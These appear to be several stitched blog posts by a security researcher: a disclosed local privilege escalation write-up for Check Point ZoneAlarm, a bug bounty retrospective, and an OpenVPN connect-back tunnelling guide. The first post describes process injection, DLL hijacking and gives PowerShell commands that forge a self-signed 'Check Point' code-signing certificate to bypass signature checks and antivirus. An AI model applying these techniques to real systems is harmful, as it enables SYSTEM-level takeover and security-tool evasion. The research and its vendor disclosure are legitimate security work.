A reference to SBAStub.dll was also needed. Because I wasn’t sure if there would be a dependency chain within this library, I added references to pretty much all the DLLs in the same folder as a shotgun approach to ensure everything would work:

To test this out I started by creating a new SBAStub object and then let intellisense within Visual Studio let me know which methods were available on that object:

I tried calling RegisterSBAStub because it took a simple string as an argument and because when it works the registration is logged in C:\ProgramData\CheckPoint\Logs\Cipolla.log. Seeing a log entry as a result of my code running would let me know that I was successfully interacting with the service. Of course, after running this code nothing showed up in the logs. My attempt at troubleshooting looked like this:

  • Attach to the SBACipollaSrvHost.exe process with dnSpy (running as admin)
  • Hit “Break All” (the pause button)
  • Run the client code
  • Single Step

This was a failing strategy. Every time I would step (whether it was over, into, or out of) my client code would just finish running and I wouldn’t see any action in the debugger before landing back here:

This was the same line of code I was on when I initially paused execution -_-

After spending a lot of time browsing the source I ended up finding a location which seemed like a good break point. It was inside of WcfSecuredHelper.dll around the point where the named-pipe server starts listening for connections:

I tried adding a break point on the if statement on line 63, attaching, then running my code. Sure enough, the service was throwing an exception “Unauthorized access detected”. On lines 50 and 51 the filename of the process attempting to connect to the name pipe is stored in the fileName variable. On lines 56-58 it checks to see if the program is signed with a valid certificate, and stores the “Common Name” (CN) portion of the certificate in the text variable. The if statement on line 63 checks to see if the CN starts with “Check Point Software Technologies”. Since the client code that we have written is not signed it is going to fail this check which is why we aren’t seeing the SBA Stub get registered in the logs.

From here my thought was to inject this client code into a legitimate checkpoint-signed binary. My first approach to achieving this was by getting a meterpreter shell on the system, migrating the session into a CheckPoint process, then using execute -m (execute from memory) to run my client code. Unfortunately, I never had success getting execution from memory to work in metasploit, even when trying to run standard binaries (rather than .NET binaries). After some googling I found a project on github called SharpNeedle that facilitates the injection of .NET code into any x86 process. Within the C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla” directory I found a legitimately signed program called ZAAR.exe which I could start up and then inject code into. The following is just a PoC of the code injection:

Great so with that working we now have a way to connect to the named pipe and can try registering a stub again. Here’s the code:

And here we see the stub registration was reflected in the log file this time (C:\ProgramData\CheckPoint\Logs\Cipolla.log):

Very sick! The next thing to do was to start playing with the SendCommand method of the SBAStub object. So, when calling SendCommand (which takes a string of XML called CommandXML), the arguments are eventually passed to a function called ExecuteInstaller which I’ll show again here:

On lines 204-211 the CommandXML is deserialized into a RunInstallerPackageCommand object which is a custom class defined in the service binary. The class has three fields, (string) InstallerPackagePath, (string) InstallerPackageArguments, and another custom class (SBAMessageInfo) MessageInfo. The most interesting field is the InstallerPackagePath because that is used to start a process in the context of the service which is running as SYSTEM.

On line 224 we can see there is a check to verify that the program pointed to by InstallerPackagePath is signed by Check Point.

Lines 231-232 load the arguments into a Process object which is then then started on line 235.

Great! We can start any Check Point signed binary as SYSTEM.

You may be wondering at this point how this can be exploited for arbitrary privileged code execution. One way is with a simple DLL hijack. I again turned to zaar.exe as a dummy signed binary that would help facilitate exploitation. I loaded up Process Monitor with the following filters:

Then launched C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla\zaar.exe:

As shown outlined above ZAAR.exe attempts to load a file called version.dll in the current directory but it’s not found. This means if a malicious version.dll was placed in the same directory as ZAAR.exe it would be executed. Since we’re operating a low privilege user we can place a file in the C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla\ directory, but since we control the full path to the update binary that gets executed by the service we can simply copy this to an arbitrary folder like temp and then place a DLL alongside it called version.dll with any payload we like. Here’s the end result:

You can see that zaar.exe was launched as a SYSTEM process as a child of the SBACipollaSrvHost process, and it has two children, calc.exe, also running as SYSTEM.

Once I got to this point I contacted Check Point to disclose the issue. They came back and said that the PoC didn’t work when the antivirus is enabled…whoops! All this time I forgot that in order to make testing easier I had disabled the AV. There are a few features about ZoneAlarm that can be configured an admin on the system, one in particular is “Application Control” which, when enabled, will block dll injection into the zaar.exe process that was needed to talk to the service. It also kept removing the version.dll from disk that was being used to launch calc. Damn!

To deal with this, I spent quite a while trying to find alternative means of DLL injection which would not be blocked by the AV, but all attempts were failed. Instead I ended up taking a totally different approach. This great article by Matt Graeber of SpecterOps describes a powershell cmdlet which makes it easy for low privilege users to sign code with a self-signed certificate and have the OS trust the certificate. Using this technique we sign the exploit code so that it’s possible to talk to the WCF service without injecting into another process. Additionally, we’ll be able to sign our payload which will be launched by the service and since this will be an ordinary executable it won’t be removed by the AV. The process looks like this:

$cert = New-SelfSignedCertificate -certstorelocation cert:\CurrentUser\my -dnsname checkpoint.com -Subject "CN=Check Point Software Technologies Ltd." -Type CodeSigningCert
Export-Certificate -Type CERT -FilePath c:\tmp\MSKernel32Root_Cloned.cer -Cert $cert
Import-Certificate -FilePath c:\tmp\MSKernel32Root_Cloned.cer -CertStoreLocation Cert:\CurrentUser\Root\
Set-AuthenticodeSignature -Certificate $cert -FilePath c:\tmp\exploit.exe
Set-AuthenticodeSignature -Certificate $cert -FilePath c:\tmp\payload.exe

After signing the both these files and running the exploit arbitrary privileged code execution will take place with all AV features enabled 🙂

About a yer ago my friend/coworker and I started a monthly hacker meet up called The Dark Corner (https://www.meetup.com/The-Dark-Corner). At the meet up I met a bug hunter named Mike (https://twitter.com/taksec). A few months ago he helped renew my interest in bug bounties which had waned after all my submissions to both bugcrowd and hackerone turned out to be duplicates. This included an issue where it was possible to read arbitrary files as the root user on of the servers (https://hackerone.com/reports/130661).

Mike let me know about the self managed public bug bounty program for Alibaba, on which he had already been rewarded for some pretty severe issues. He was kind enough to share with me some of his recon which included a nice set of domains to get started looking at. Alibaba doesn’t publish a scope but basically all their business units are in scope, which according to one email the security team sent me consists of 100+ domains.

I found my first bug pretty quickly. Another dupe!!! I was definitely ready to swear off bug bounties for good at this point! However, getting to see Mike’s experience with the program first hand, and having his encouragement I kept looking. That would be last dupe.

Since February I have had exactly 66 reports accepted by Alibaba and risen to the #1 spot on the scoreboard. This experience has been a lot of fun and very rewarding, not only monetarily, but in terms of helping me become a better hacker.

So with all that said I want give a big thanks to Mike, Fabius, Luis, Allen, Illumant (https://www.illumant.com), and everyone who has given me support and guidance getting to this point.

https://security.alibaba.com

 

Have you ever wanted to be on the same network segment as a remote computer that you aren’t on the same segment as :p?? Well you can be, with the magic of connect back VPN tunneling!

Without any further ado, here’s my how-to guide.

Server Config

1. Install OpenVPN Access Server on an internet facing system, some sort of VPS will do nicely.

2. Log in to the management interface, which listens on port 943 https://example.com:943/admin/

3. Go to “VPN Settings” (https://example.com:943/admin/vpn_settings) and take note of the “Network Address” value. This is the one network you will not be able to use the tunnel to connect to due to it already being used up by the VPN. I have chosen an address in 172.16.0.0/12 address space because in my experience it is less commonly used on client networks compared to 10.0.0.0/8 or 192.168.0.0/16 address space. To date, I have not had a collision of address space.

4. Go to “User Permissions” (https://example.com:943/admin/user_permissions) and create a user which will be used to connect to the VPN from the remote site (the place that you want to be on same segment as, but from your home)

5. In the “More Settings” column for this user click “Show”. Set “Allow Access To these Networks” and “Allow client to act as VPN gateway
for these client-side subnets” as shown:

Here it is in text format in case anyone wants to copy/paste:

10.0.0.0/8
192.168.0.0/16
172.16.0.0/16
172.17.0.0/16
172.18.0.0/16
172.19.0.0/16
172.20.0.0/16
172.21.0.0/16
172.22.0.0/16
172.23.0.0/16
172.24.0.0/16
172.25.0.0/16
172.26.0.0/16
172.28.0.0/16
172.29.0.0/16
172.30.0.0/16
172.31.0.0/16

Note that these are all the networks except for the network used by the VPN itself (172.27.0.0/16 in my case). This means that the user we are modifying and route traffic for these networks.

6. Make sure to save your settings, this is it for server set up.

Client Config

1. From your local machine, connect to the VPN as a normal user, not the user that was just configured to do forwarding.

2. On the remote machine connect as the forwarding user that we just set up.

3. Now for the fun part, and the reason I wrote this post. After connecting as the forwarding user we need to actually configure the machine to act as a NAT point. I’ve only found a couple people on the internet talking about how to do this. Namely, the guys at Offensive Security and Hak5. Here’s the material they published that helped me get started:

Unfortunately for me when trying to follow their guides I wasn’t ever able to get it completely working. The trick for me was to set a lower priority metric on the VPN gateway, and set a higher priority on the remote machines local default gateway.

<vpn-network-address> – The network address of the VPN (see step 3 in server config). Mine is 172.127.224.0/24.

<bridged-inteface> – Interface name of a bridged adapter that has an IP on the network you’re trying to tunnel to

<local-gateway> – The non-VPN default gateway for the remote machine, the one that we will be tunneling through

<vpn-gateway> – The VPN default gateway. In my case this is 172.27.224.1 since my network address is 172.127.224.0

# enable ip forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward 
# create NAT point
iptables -t nat -A POSTROUTING -s <vpn-network-address> -o <bridged-interface> -j MASQUERADE 
# remove the route for the VPN gateway
route del -net 0.0.0.0/1 gw <vpn-gateway>            
# add it back but with a lower priority metric
route add -net 0.0.0.0/1 gw <vpn-gateway> metric 200 
# for all the networks we want reach through the tunnel
# set the gateway to be the local gateway with a metric of 0
# This is the highest priority metric and will take priority over the vpn gateway
route add -net 10.0.0.0/8 gw <local-gateway> metric 0
route add -net 192.168.0.0/16 gw <local-gateway> metric 0
route add -net 172.16.0.0/16 gw <local-gateway> metric 0
route add -net 172.17.0.0/16 gw <local-gateway> metric 0
route add -net 172.18.0.0/16 gw <local-gateway> metric 0
route add -net 172.19.0.0/16 gw <local-gateway> metric 0
route add -net 172.20.0.0/16 gw <local-gateway> metric 0
route add -net 172.21.0.0/16 gw <local-gateway> metric 0
route add -net 172.22.0.0/16 gw <local-gateway> metric 0
route add -net 172.23.0.0/16 gw <local-gateway> metric 0
route add -net 172.24.0.0/16 gw <local-gateway> metric 0
route add -net 172.25.0.0/16 gw <local-gateway> metric 0
route add -net 172.26.0.0/16 gw <local-gateway> metric 0
route add -net 172.28.0.0/16 gw <local-gateway> metric 0
route add -net 172.29.0.0/16 gw <local-gateway> metric 0
route add -net 172.30.0.0/16 gw <local-gateway> metric 0
route add -net 172.31.0.0/16 gw <local-gateway> metric 0

Voila! If all went well the tunnel should be working now.

Troubleshooting

Ever since I figured out the issue of decreasing the priority on the route of VPN gateway this set up works for me first 99% of the time. Alas, sometimes there are problems.

Often times when there is an issue packets are making it to the forwarding host, but they don’t get routed properly from there. Whenever I’m having problems with my VPN tunnel the first thing I do is fire up tcmp dump like so:

tcpdump -nni any icmp

This just says to listen on all interfaces for ICMP packets, and to not resolve IP addresses or port numbers. The next thing I’ll do is from my local machine try to ping one of the internal IPs that I want to tunnel to. I was having an issue recently and started troubleshooting in just this very way. Here’s what I saw:

So I could see the forwarding host was successfully receiving the packets from my local machine over the VPN connection, and was forwarding them to the correct target IP. At first I thought maybe something went wrong with the NAT configuration, since the packets were being sent out but not coming back. I tried redoing my whole set up but was faced with the same problem. Then I realized the ping packets I was sending out were being duplicated by the forwarding host, as I have outlined above. For every 1 ICMP echo request I was sending from my local machine, 2 were being sent by the forwarding host. I’m not sure why this was happening, but there were 3 bridged interfaces on this virtual machine, all with valid IPs. I disabled all but the one I had specifically configured as the NAT interface and things started working again.

If memory serves I have done this before with multiple bridged interfaces and haven’t had a problem but anyway, having just one did the trick in this case.

Hope this helps somebody out there. Please leave comments with questions or suggestions.